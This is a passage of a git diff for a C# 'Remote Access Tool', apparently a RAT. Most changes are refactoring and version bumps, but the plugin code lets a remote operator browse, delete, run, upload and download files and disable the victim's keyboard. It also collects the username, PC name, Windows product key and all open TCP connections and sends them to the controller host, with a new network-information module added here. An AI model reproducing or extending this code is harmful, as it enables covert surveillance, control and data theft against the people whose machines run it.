@@ -202,7 +202,7 @@ internal void StartSendingFile(string filePath)
private int SendData(IPacket data)
{
- byte[] encryptedData = data.SerializePacket(loadingAPI.key);
+ byte[] encryptedData = data.SerializePacket(loadingAPI.Key);
int total = 0;
int size = encryptedData.Length;
@@ -215,7 +215,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/FileManager/Launch.cs b/Remote Access Tool/Plugins/FileManager/Launch.cs
index 386619b8..df5ddffb 100644
--- a/Remote Access Tool/Plugins/FileManager/Launch.cs
+++ b/Remote Access Tool/Plugins/FileManager/Launch.cs
@@ -16,18 +16,18 @@ public static class Launch
public static void Main(LoadingAPI loadingAPI)
{
string filePath;
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.FM_GET_DISK:
- DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, diskPacket);
+ DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, diskPacket);
break;
case PacketType.FM_GET_FILES_AND_DIRS:
- string path = ((FileManagerPacket)loadingAPI.currentPacket).path;
- FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.baseIp, loadingAPI.HWID);
+ string path = ((FileManagerPacket)loadingAPI.CurrentPacket).path;
+ FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.BaseIp, loadingAPI.HWID);
fileManagerPacket.path = path;
- ClientSender(loadingAPI.host, loadingAPI.key, fileManagerPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, fileManagerPacket);
break;
case PacketType.FM_DOWNLOAD_FILE:
@@ -35,39 +35,39 @@ public static void Main(LoadingAPI loadingAPI)
break;
case PacketType.FM_DELETE_FILE:
- filePath = ((DeleteFilePacket)loadingAPI.currentPacket).path;
+ filePath = ((DeleteFilePacket)loadingAPI.CurrentPacket).path;
Tuple returnFromFunc = DeleteFile.RemoveFile(filePath);
- DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.currentPacket).name, returnFromFunc.Item2, loadingAPI.baseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.currentPacket).fileTicket);
- ClientSender(loadingAPI.host, loadingAPI.key, deleteFilePacket);
+ DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.CurrentPacket).name, returnFromFunc.Item2, loadingAPI.BaseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.CurrentPacket).fileTicket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, deleteFilePacket);
break;
case PacketType.FM_START_FILE:
- filePath = ((StartFilePacket)loadingAPI.currentPacket).filePath;
+ filePath = ((StartFilePacket)loadingAPI.CurrentPacket).filePath;
StartFile.StartAProcess(filePath);
break;
case PacketType.FM_RENAME_FILE:
- RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.currentPacket;
- RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.baseIp, loadingAPI.HWID)
+ RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.CurrentPacket;
+ RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.BaseIp, loadingAPI.HWID)
{
isRenamed = MoveFile.RenameFile(renameFilePacketReceived.oldPath, renameFilePacketReceived.newPath)
};
- ClientSender(loadingAPI.host, loadingAPI.key, renameFilePacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, renameFilePacket);
break;
case PacketType.FM_SHORTCUT_PATH:
- ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.currentPacket;
+ ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.CurrentPacket;
string newPath = "";
- ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.baseIp, loadingAPI.HWID);
+ ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.BaseIp, loadingAPI.HWID);
shortCutFileManagersPacket.shortCuts = shortCutFileManagersPacketReceived.shortCuts;
shortCutFileManagersPacket.path = newPath;
- ClientSender(loadingAPI.host, loadingAPI.key, shortCutFileManagersPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, shortCutFileManagersPacket);
break;
case PacketType.FM_UPLOAD_FILE:
- UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.currentPacket;
- UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, uploadFilePacket);
+ UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.CurrentPacket;
+ UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, uploadFilePacket);
break;
default:
@@ -78,8 +78,8 @@ public static void Main(LoadingAPI loadingAPI)
private static void ClientFileSender(LoadingAPI loadingAPI)
{
- string filePath = ((DownloadFilePacket)loadingAPI.currentPacket).fileName;
- DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.currentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.currentPacket).bufferSize);
+ string filePath = ((DownloadFilePacket)loadingAPI.CurrentPacket).fileName;
+ DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.CurrentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.CurrentPacket).bufferSize);
clientHandler.ConnectStart();
while (!clientHandler.Connected)
Thread.Sleep(125);
diff --git a/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs
index 6fcbb9b9..e19f4ac1 100644
--- a/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache
index c6b72c58..eb9d7c93 100644
Binary files a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache
index fd16a85d..d0a0ac48 100644
--- a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-371c911898b2b01f4dba74c63984a30a076dd2b7
+affd79c588507449c4a6fa375a984aadce4466e8
diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll
index 11705209..e945db8b 100644
Binary files a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll and b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll differ
diff --git a/Remote Access Tool/Plugins/Hardware/Launch.cs b/Remote Access Tool/Plugins/Hardware/Launch.cs
index f1651e85..ef050907 100644
--- a/Remote Access Tool/Plugins/Hardware/Launch.cs
+++ b/Remote Access Tool/Plugins/Hardware/Launch.cs
@@ -13,7 +13,7 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.HDW_KB_OFF:
HookHardware.Global.HookKeyboard();
diff --git a/Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs
index 27d7ed57..17523908 100644
--- a/Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed
new file mode 100644
index 00000000..dddcc31e
Binary files /dev/null and b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache
index a0344bf6..69ab6a5b 100644
Binary files a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache
index ca51c841..e9ad9fc5 100644
--- a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-937fbff96ee0a76ed2285fdd800663a263a8051f
+e50addab1c0056b719f76fdf96042bd8bcdef1d9
diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.dll b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.dll
index 0d9313cf..14455ee7 100644
Binary files a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.dll and b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.dll differ
diff --git a/Remote Access Tool/Plugins/Information/ClientHandler.cs b/Remote Access Tool/Plugins/Information/ClientHandler.cs
index b0492c0a..ee8af1d6 100644
--- a/Remote Access Tool/Plugins/Information/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Information/ClientHandler.cs
@@ -85,7 +85,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
try
diff --git a/Remote Access Tool/Plugins/Information/Helpers.cs b/Remote Access Tool/Plugins/Information/Helpers.cs
index c8ea8219..c4815e03 100644
--- a/Remote Access Tool/Plugins/Information/Helpers.cs
+++ b/Remote Access Tool/Plugins/Information/Helpers.cs
@@ -1,5 +1,6 @@
using System;
using System.Management;
+using System.Net;
using System.Security.Principal;
using static PacketLib.Packet.SystemInformation;
@@ -13,14 +14,34 @@ namespace Plugin
{
internal static class Helpers
{
- public static string RemoveLastChars(string input, int amount = 2)
+ internal static string RemoveLastChars(string input, int amount = 2)
{
if (input.Length > amount)
input = input.Remove(input.Length - amount);
return input;
}
+ #region "Network"
+ internal static string GetIpAddress(long ipAddrs)
+ {
+ string text;
+ try
+ {
+ text = new IPAddress(ipAddrs).ToString();
+ }
+ catch
+ {
+ text = ipAddrs.ToString();
+ }
+ return text;
+ }
- internal static string GetWMIInformation(string askedInfo,string query = "SELECT * FROM Win32_OperatingSystem")
+ internal static ushort GetTcpPort(int tcpPort)
+ {
+ return Imports.ntohs((ushort)tcpPort);
+ }
+ #endregion
+ #region "Hardware"
+ internal static string GetWMIInformation(string askedInfo, string query = "SELECT * FROM Win32_OperatingSystem")
{
try
{
@@ -36,11 +57,11 @@ internal static string GetWMIInformation(string askedInfo,string query = "SELECT
return (!string.IsNullOrEmpty(information)) ? information : "N/A";
}
catch
- {}
+ { }
return "Unknown";
}
- internal static string GetResolution()
+ internal static string GetResolution()
{
return GetWMIInformation("CurrentHorizontalResolution", "SELECT * FROM Win32_VideoController") + " x " + GetWMIInformation("CurrentVerticalResolution", "SELECT * FROM Win32_VideoController");
}
@@ -69,6 +90,31 @@ internal static string GetGpuName()
}
}
+
+ internal static string GetDebug()
+ {
+ try
+ {
+ string debugged = string.Empty;
+ string query = "SELECT * FROM Win32_OperatingSystem";
+
+ using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
+ {
+ foreach (ManagementObject mObject in searcher.Get())
+ {
+ debugged += mObject["Debug"].ToString() + "; ";
+ }
+ }
+ debugged = RemoveLastChars(debugged);
+
+ return (!string.IsNullOrEmpty(debugged)) ? debugged : "N/A";
+ }
+ catch
+ {
+ return "Unknown";
+ }
+ }
+
internal static string GetBiosDescription()
{
try
@@ -144,7 +190,7 @@ internal static string GetMainboardName()
return "Unknown";
}
- internal static string GetUserName()
+ internal static string GetUserName()
{
return Environment.UserName;
}
@@ -154,7 +200,7 @@ internal static string GetPcName()
return Environment.MachineName;
}
- internal static AccountType GetUserType()
+ internal static AccountType GetUserType()
{
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
{
@@ -203,5 +249,6 @@ internal static string GetFirewall()
return "Unknown";
}
}
+ #endregion
}
}
diff --git a/Remote Access Tool/Plugins/Information/Imports.cs b/Remote Access Tool/Plugins/Information/Imports.cs
new file mode 100644
index 00000000..dc96abd6
--- /dev/null
+++ b/Remote Access Tool/Plugins/Information/Imports.cs
@@ -0,0 +1,75 @@
+using System;
+using System.Runtime.InteropServices;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Plugin
+{
+ internal class Imports
+ {
+ #region "Structures"
+ internal struct MIB_TCPROW_OWNER_PID
+ {
+ public ushort LocalPort
+ {
+ get
+ {
+ return BitConverter.ToUInt16(new byte[] { this.localPort2, this.localPort1 }, 0);
+ }
+ }
+ public ushort RemotePort
+ {
+ get
+ {
+ return BitConverter.ToUInt16(new byte[] { this.remotePort2, this.remotePort1 }, 0);
+ }
+ }
+
+ public uint state;
+ public uint localAddr;
+ public byte localPort1;
+ public byte localPort2;
+ public byte localPort3;
+ public byte localPort4;
+ public uint remoteAddr;
+ public byte remotePort1;
+ public byte remotePort2;
+ public byte remotePort3;
+ public byte remotePort4;
+ public int owningPid;
+ }
+
+ internal struct MIB_TCPTABLE_OWNER_PID
+ {
+ internal uint dwNumEntries;
+
+ internal MIB_TCPROW_OWNER_PID table;
+ }
+ #endregion
+ #region "Enums"
+
+ public enum TCP_TABLE_TYPE
+ {
+ TCP_TABLE_BASIC_LISTENER,
+ TCP_TABLE_BASIC_CONNECTIONS,
+ TCP_TABLE_BASIC_ALL,
+ TCP_TABLE_OWNER_PID_LISTENER,
+ TCP_TABLE_OWNER_PID_CONNECTIONS,
+ TCP_TABLE_OWNER_PID_ALL,
+ TCP_TABLE_OWNER_MODULE_LISTENER,
+ TCP_TABLE_OWNER_MODULE_CONNECTIONS,
+ TCP_TABLE_OWNER_MODULE_ALL
+ }
+ #endregion
+ #region "Functions"
+ [DllImport("Ws2_32.dll")]
+ internal static extern ushort ntohs(ushort netshort);
+
+ [DllImport("iphlpapi.dll", SetLastError = true)]
+ internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_TYPE tblClass, int reserved);
+ #endregion
+ }
+}
diff --git a/Remote Access Tool/Plugins/Information/Information.csproj b/Remote Access Tool/Plugins/Information/Information.csproj
index b9f1d4af..dc0e4551 100644
--- a/Remote Access Tool/Plugins/Information/Information.csproj
+++ b/Remote Access Tool/Plugins/Information/Information.csproj
@@ -67,7 +67,9 @@
+
+
True
diff --git a/Remote Access Tool/Plugins/Information/Launch.cs b/Remote Access Tool/Plugins/Information/Launch.cs
index 68128824..8625328d 100644
--- a/Remote Access Tool/Plugins/Information/Launch.cs
+++ b/Remote Access Tool/Plugins/Information/Launch.cs
@@ -22,37 +22,47 @@ static Launch()
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.MISC_INFORMATION:
cpuInformation.Add("CPU", new List());
string s = HardwareInformation.CPUInformation();
cpuInformation["CPU"].Add(s);
- InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.baseIp, loadingAPI.HWID);
+ InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.BaseIp, loadingAPI.HWID);
- informationPacket.information.systemInformation.systemInformation = new Dictionary();
- informationPacket.information.systemInformation.systemInformation.Add("PC name", Helpers.GetPcName());
- informationPacket.information.systemInformation.systemInformation.Add("Username", Helpers.GetUserName());
- informationPacket.information.systemInformation.systemInformation.Add("Registered user", Helpers.GetWMIInformation("RegisteredUser"));
- informationPacket.information.systemInformation.systemInformation.Add("Account type", Helpers.GetUserType().ToString());
- informationPacket.information.systemInformation.systemInformation.Add("Firewall", Helpers.GetFirewall());
+ informationPacket.information.systemInformation.systemInformation = new Dictionary
+ {
+ { "PC name", Helpers.GetPcName() },
+ { "Username", Helpers.GetUserName() },
+ { "Registered user", Helpers.GetWMIInformation("RegisteredUser") },
+ { "Account type", Helpers.GetUserType().ToString() },
+ { "Firewall", Helpers.GetFirewall() },
- informationPacket.information.systemInformation.systemInformation.Add("System drive", Helpers.GetWMIInformation("SystemDrive"));
- informationPacket.information.systemInformation.systemInformation.Add("System path", Helpers.GetWMIInformation("SystemDirectory"));
- informationPacket.information.systemInformation.systemInformation.Add("OS architecture", Helpers.GetWMIInformation("OSArchitecture"));
- informationPacket.information.systemInformation.systemInformation.Add("System version", Helpers.GetWMIInformation("Version"));
- informationPacket.information.systemInformation.systemInformation.Add("OS type", Helpers.GetOsType());
- informationPacket.information.systemInformation.systemInformation.Add("OS manufacturer", Helpers.GetWMIInformation("Manufacturer"));
- informationPacket.information.systemInformation.systemInformation.Add("OS name", Helpers.GetWMIInformation("Caption"));
- informationPacket.information.systemInformation.systemInformation.Add("OS activation key", ActivationKey.GetWindowsProductKeyFromRegistry());
+ { "System drive", Helpers.GetWMIInformation("SystemDrive") },
+ { "System path", Helpers.GetWMIInformation("SystemDirectory") },
+ { "OS architecture", Helpers.GetWMIInformation("OSArchitecture") },
+ { "System version", Helpers.GetWMIInformation("Version") },
+ { "OS type", Helpers.GetOsType() },
+ { "OS manufacturer", Helpers.GetWMIInformation("Manufacturer") },
+ { "OS name", Helpers.GetWMIInformation("Caption") },
+ { "OS activation key", ActivationKey.GetWindowsProductKeyFromRegistry() },
+ { "Debug", Helpers.GetDebug() }
+ };
- informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary();
- informationPacket.information.hardwareInformation.hardwareInformation.Add("GPU", Helpers.GetGpuName());
- informationPacket.information.hardwareInformation.hardwareInformation.Add("Resolution", Helpers.GetResolution());
- informationPacket.information.hardwareInformation.hardwareInformation.Add("Motherboard", Helpers.GetMainboardName());
- informationPacket.information.hardwareInformation.hardwareInformation.Add("Bios", Helpers.GetBiosDescription());
+ informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary
+ {
+ { "GPU", Helpers.GetGpuName() },
+ { "Resolution", Helpers.GetResolution() },
+ { "Motherboard", Helpers.GetMainboardName() },
+ { "Bios", Helpers.GetBiosDescription() }
+ };
- ClientSender(loadingAPI.host, loadingAPI.key, informationPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, informationPacket);
+ break;
+
+ case PacketType.MISC_NETWORK_INFORMATION:
+ NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket(NetworkInformation.AllTCPConnection(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, networkInformationPacket);
break;
default:
diff --git a/Remote Access Tool/Plugins/Information/NetworkInformation.cs b/Remote Access Tool/Plugins/Information/NetworkInformation.cs
new file mode 100644
index 00000000..87938e44
--- /dev/null
+++ b/Remote Access Tool/Plugins/Information/NetworkInformation.cs
@@ -0,0 +1,83 @@
+using PacketLib.Packet;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using static Plugin.Imports;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Plugin
+{
+ internal class NetworkInformation
+ {
+ private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections()
+ {
+ int num = 2;
+ int num2 = 0;
+ uint num3 = GetExtendedTcpTable(IntPtr.Zero, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);
+ if (num3 != 0U && num3 != 122U)
+ {
+ throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString());
+ }
+ IntPtr intPtr = Marshal.AllocHGlobal(num2);
+ MIB_TCPROW_OWNER_PID[] array;
+ try
+ {
+ num3 = GetExtendedTcpTable(intPtr, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);
+ if (num3 != 0U)
+ {
+ throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString());
+ }
+ MIB_TCPTABLE_OWNER_PID mib_TCPTABLE_OWNER_PID = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(intPtr, typeof(MIB_TCPTABLE_OWNER_PID));
+ IntPtr intPtr2 = (IntPtr)((long)intPtr + (long)Marshal.SizeOf(mib_TCPTABLE_OWNER_PID.dwNumEntries));
+ array = new MIB_TCPROW_OWNER_PID[mib_TCPTABLE_OWNER_PID.dwNumEntries];
+ int num4 = 0;
+ while ((long)num4 < (long)((ulong)mib_TCPTABLE_OWNER_PID.dwNumEntries))
+ {
+ MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(intPtr2, typeof(MIB_TCPROW_OWNER_PID));
+ array[num4] = mib_TCPROW_OWNER_PID;
+ intPtr2 = (IntPtr)((long)intPtr2 + (long)Marshal.SizeOf(mib_TCPROW_OWNER_PID));
+ num4++;
+ }
+ }
+ finally
+ {
+ Marshal.FreeHGlobal(intPtr);
+ }
+ return array;
+ }
+ public static List AllTCPConnection()
+ {
+ List ret = new List();
+ try
+ {
+
+ MIB_TCPROW_OWNER_PID[] allTcpConnections = GetAllTcpConnections();
+ int num = allTcpConnections.Length;
+ for (int i = 0; i < num; i++)
+ {
+ MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = allTcpConnections[i];
+ string localEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.localAddr)), mib_TCPROW_OWNER_PID.LocalPort);
+ string remoteEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.remoteAddr)), mib_TCPROW_OWNER_PID.RemotePort);
+
+ ret.Add(new TCPInformation()
+ {
+ PID = mib_TCPROW_OWNER_PID.owningPid,
+ LocalEndPoint = localEndPoint,
+ RemoteEndPoint = remoteEndPoint,
+ State = (TCPInformation.TCP_CONNECTION_STATE)mib_TCPROW_OWNER_PID.state,
+ processName = Process.GetProcessById(mib_TCPROW_OWNER_PID.owningPid).ProcessName
+ });
+ }
+ }
+ catch
+ {
+ }
+ return ret;
+ }
+ }
+}
diff --git a/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs
index 0eb14aed..f50f164d 100644
--- a/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/Information/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/96685BD6896DD6A7306053E3A5B8ED351BD6628A.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/96685BD6896DD6A7306053E3A5B8ED351BD6628A.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1cf507ee
